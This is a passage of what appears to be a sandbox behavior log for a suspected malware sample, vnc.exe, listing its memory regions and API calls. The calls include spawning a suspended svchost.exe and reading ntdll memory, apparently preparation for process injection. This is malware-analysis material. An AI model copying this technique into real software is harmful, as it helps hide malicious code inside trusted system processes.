[0192.577] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x111, wParam=0x1000001, lParam=0x6031c) returned 0x0 [0192.578] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0192.580] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0192.581] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x1c, wParam=0x0, lParam=0x914) returned 0x0 [0192.581] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x111, wParam=0x2000001, lParam=0x6031c) returned 0x0 [0192.582] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x3b, wParam=0x50c, lParam=0x0) returned 0x2 [0192.582] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0x16, wParam=0x1, lParam=0x0) returned 0x0 Thread: id = 2 os_tid = 0x11e8 Thread: id = 3 os_tid = 0x8ac Thread: id = 4 os_tid = 0x1064 Thread: id = 5 os_tid = 0x125c Thread: id = 6 os_tid = 0xb30 Thread: id = 7 os_tid = 0x1114 Thread: id = 11 os_tid = 0x2d4 Thread: id = 326 os_tid = 0x820 Process: id = "2" image_name = "vnc.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\vnc.exe" page_root = "0x4facc000" os_pid = "0x29c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1184" cmd_line = "\"C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ebd3" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 594 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 595 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 596 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 597 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 598 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 599 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 600 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 601 start_va = 0x710000 end_va = 0x711fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 602 start_va = 0x1080000 end_va = 0x10e7fff monitored = 1 entry_point = 0x1081620 region_type = mapped_file name = "vnc.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\vnc.exe") Region: id = 603 start_va = 0x77220000 end_va = 0x7739afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 604 start_va = 0x7edd0000 end_va = 0x7edf2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007edd0000" filename = "" Region: id = 605 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 606 start_va = 0x7fff0000 end_va = 0x7ffff079ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 607 start_va = 0x7ffff07a0000 end_va = 0x7ffff0960fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 608 start_va = 0x7ffff0961000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffff0961000" filename = "" Region: id = 610 start_va = 0x400000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 611 start_va = 0x656f0000 end_va = 0x6573ffff monitored = 0 entry_point = 0x65708180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 612 start_va = 0x65670000 end_va = 0x656e9fff monitored = 0 entry_point = 0x65683290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 613 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 614 start_va = 0x65740000 end_va = 0x65747fff monitored = 0 entry_point = 0x657417c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 615 start_va = 0x720000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 616 start_va = 0x770a0000 end_va = 0x7717ffff monitored = 0 entry_point = 0x770b3980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 617 start_va = 0x74920000 end_va = 0x74a9dfff monitored = 0 entry_point = 0x749d1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 618 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 619 start_va = 0x7ecd0000 end_va = 0x7edcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ecd0000" filename = "" Region: id = 620 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 621 start_va = 0x5b0000 end_va = 0x5bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 622 start_va = 0x73ea0000 end_va = 0x73f31fff monitored = 0 entry_point = 0x73ee0380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 623 start_va = 0x7e920000 end_va = 0x7ecc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 624 start_va = 0x710000 end_va = 0x713fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 625 start_va = 0x74e30000 end_va = 0x74e74fff monitored = 0 entry_point = 0x74e4de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 626 start_va = 0x75640000 end_va = 0x756fdfff monitored = 0 entry_point = 0x75675630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 627 start_va = 0x1b0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 628 start_va = 0x5c0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005c0000" filename = "" Region: id = 629 start_va = 0x75420000 end_va = 0x755dcfff monitored = 0 entry_point = 0x75502a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 630 start_va = 0x75ad0000 end_va = 0x75b7cfff monitored = 0 entry_point = 0x75ae4f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 631 start_va = 0x73f50000 end_va = 0x73f6dfff monitored = 0 entry_point = 0x73f5b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 632 start_va = 0x73f40000 end_va = 0x73f49fff monitored = 0 entry_point = 0x73f42a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 633 start_va = 0x755e0000 end_va = 0x75637fff monitored = 0 entry_point = 0x756225c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 634 start_va = 0x75900000 end_va = 0x75943fff monitored = 0 entry_point = 0x75919d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 635 start_va = 0x74250000 end_va = 0x7439efff monitored = 0 entry_point = 0x74306820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 636 start_va = 0x74c10000 end_va = 0x74d56fff monitored = 0 entry_point = 0x74c21cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 637 start_va = 0x75a40000 end_va = 0x75a45fff monitored = 0 entry_point = 0x75a41460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 638 start_va = 0x75ca0000 end_va = 0x7709efff monitored = 0 entry_point = 0x75e5b990 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 639 start_va = 0x758c0000 end_va = 0x758f6fff monitored = 0 entry_point = 0x758c3b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll") Region: id = 640 start_va = 0x74f10000 end_va = 0x75408fff monitored = 0 entry_point = 0x75117610 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll") Region: id = 641 start_va = 0x75a50000 end_va = 0x75acafff monitored = 0 entry_point = 0x75a6e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 642 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 643 start_va = 0x77180000 end_va = 0x7720cfff monitored = 0 entry_point = 0x771c9b90 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll") Region: id = 644 start_va = 0x74d60000 end_va = 0x74da3fff monitored = 0 entry_point = 0x74d67410 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll") Region: id = 645 start_va = 0x74f00000 end_va = 0x74f0efff monitored = 0 entry_point = 0x74f02e40 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll") Region: id = 646 start_va = 0x820000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 647 start_va = 0x820000 end_va = 0x849fff monitored = 0 entry_point = 0x825680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 648 start_va = 0x960000 end_va = 0x96ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000960000" filename = "" Region: id = 649 start_va = 0x970000 end_va = 0xaf7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000970000" filename = "" Region: id = 650 start_va = 0x757e0000 end_va = 0x7580afff monitored = 0 entry_point = 0x757e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 651 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 652 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 653 start_va = 0xb00000 end_va = 0xc80fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b00000" filename = "" Region: id = 654 start_va = 0x10f0000 end_va = 0x24effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010f0000" filename = "" Region: id = 655 start_va = 0x820000 end_va = 0x820fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000820000" filename = "" Region: id = 669 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 670 start_va = 0xc90000 end_va = 0xfc6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 671 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 707 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 708 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 739 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 740 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 743 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 744 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 775 start_va = 0x830000 end_va = 0x8cbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 777 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 778 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 780 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 781 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 783 start_va = 0x8d0000 end_va = 0x8d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 784 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 830 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 831 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 835 start_va = 0x830000 end_va = 0x830fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 836 start_va = 0x24f0000 end_va = 0x26b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Thread: id = 8 os_tid = 0x1110 [0135.530] GetModuleHandleA (lpModuleName=0x0) returned 0x1080000 [0135.531] GetModuleHandleA (lpModuleName=0x0) returned 0x1080000 [0135.531] GetVersion () returned 0x23f00206 [0135.531] GetCurrentProcessId () returned 0x29c [0135.531] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x770a0000 [0135.531] GetProcAddress (hModule=0x770a0000, lpProcName="IsWow64Process") returned 0x770b9f10 [0135.531] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x29c) returned 0x168 [0135.532] IsWow64Process (in: hProcess=0x168, Wow64Process=0x18f364 | out: Wow64Process=0x18f364*=1) returned 1 [0135.610] CloseHandle (hObject=0x168) returned 1 [0135.610] memcpy (in: _Dst=0x10e6cf4, _Src=0x18f398, _Size=0x18 | out: _Dst=0x10e6cf4) returned 0x10e6cf4 [0135.610] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x770a0000 [0135.611] GetProcAddress (hModule=0x770a0000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x770db4f0 [0135.611] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=0) returned 1 [0135.611] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x18f404 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0135.614] PathCombineW (in: pszDest=0x18f60c, pszDir="C:\\Windows\\system32", pszFile="svchost.exe -k" | out: pszDest="C:\\Windows\\system32\\svchost.exe -k") returned="C:\\Windows\\system32\\svchost.exe -k" [0135.615] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\system32\\svchost.exe -k", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f3c0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18f3b0 | out: lpCommandLine="C:\\Windows\\system32\\svchost.exe -k", lpProcessInformation=0x18f3b0*(hProcess=0x174, hThread=0x16c, dwProcessId=0x1074, dwThreadId=0x810)) returned 1 [0135.670] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1074) returned 0x17c [0135.670] IsWow64Process (in: hProcess=0x17c, Wow64Process=0x18f070 | out: Wow64Process=0x18f070*=0) returned 1 [0135.670] CloseHandle (hObject=0x17c) returned 1 [0135.670] GetCurrentProcessId () returned 0x29c [0135.670] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x29c) returned 0x17c [0135.671] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0135.671] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0135.671] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea58, ProcessInformationLength=0x30, ReturnLength=0x18eab0 | out: ProcessInformation64=0x18ea58, ReturnLength=0x18eab0) returned 0x0 [0135.671] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0135.671] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0135.671] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0135.671] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64ReadVirtualMemory64") returned 0x77298950 [0135.671] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0135.671] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0135.672] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.672] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.672] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.672] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.672] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.672] LocalFree (hMem=0x7392a0) returned 0x0 [0135.673] LocalFree (hMem=0x72e060) returned 0x0 [0135.673] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x830000 [0135.673] GetModuleHandleW (lpModuleName="NTDLL.DLL") returned 0x77220000 [0135.674] GetProcAddress (hModule=0x77220000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x77298930 [0135.674] NtWow64QueryInformationProcess64 (in: ProcessHandle=0x17c, ProcessInformationClass=0x0, ProcessInformation64=0x18ea58, ProcessInformationLength=0x30, ReturnLength=0x18eab0 | out: ProcessInformation64=0x18ea58, ReturnLength=0x18eab0) returned 0x0 [0135.674] LocalAlloc (uFlags=0x0, uBytes=0x200) returned 0x7392a0 [0135.674] LocalAlloc (uFlags=0x0, uBytes=0x100) returned 0x72e060 [0135.674] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x3a8000, Buffer=0x0, BufferSize=0x72e060, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0135.674] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf08e5200, Buffer=0x7fff, BufferSize=0x72e088, NumberOfBytesRead=0x40 | out: Buffer=0x7fff, NumberOfBytesRead=0x40) returned 0x0 [0135.674] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1ce0, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.674] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1918, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x58 | out: Buffer=0x0, NumberOfBytesRead=0x58) returned 0x0 [0135.674] StrRChrA (lpStart="C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\vnc.exe", lpEnd=0x0, wMatch=0x5c) returned="\\vnc.exe" [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1b60, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b1a60, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0135.675] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2180, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2300, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0135.675] StrRChrA (lpStart="C:\\Windows\\system32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2460, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b25e0, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0135.675] StrRChrA (lpStart="C:\\Windows\\system32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2630, Buffer=0x0, BufferSize=0x72e0c8, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0135.675] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0x5b2100, Buffer=0x0, BufferSize=0x7392a0, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0135.675] StrRChrA (lpStart="C:\\Windows\\system32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0135.676] LocalFree (hMem=0x7392a0) returned 0x0 [0135.677] LocalFree (hMem=0x72e060) returned 0x0 [0135.677] lstrcmpiA (lpString1="vnc.exe", lpString2="NTDLL.DLL") returned 1 [0135.681] StrChrA (lpStart="vnc.exe", wMatch=0x2e) returned=".exe" [0135.681] lstrcmpiA (lpString1="vnc", lpString2="NTDLL.DLL") returned 1 [0135.681] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0135.681] VirtualFree (lpAddress=0x830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0135.682] VirtualAlloc (lpAddress=0x0, dwSize=0x1c1000, flAllocationType=0x3000, flProtect=0x4) returned 0x24f0000 [0135.682] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a0000, Buffer=0x7fff, BufferSize=0x24f0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.682] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a1000, Buffer=0x7fff, BufferSize=0x24f1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.683] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a2000, Buffer=0x7fff, BufferSize=0x24f2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.683] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a3000, Buffer=0x7fff, BufferSize=0x24f3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0135.683] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf07a4000, 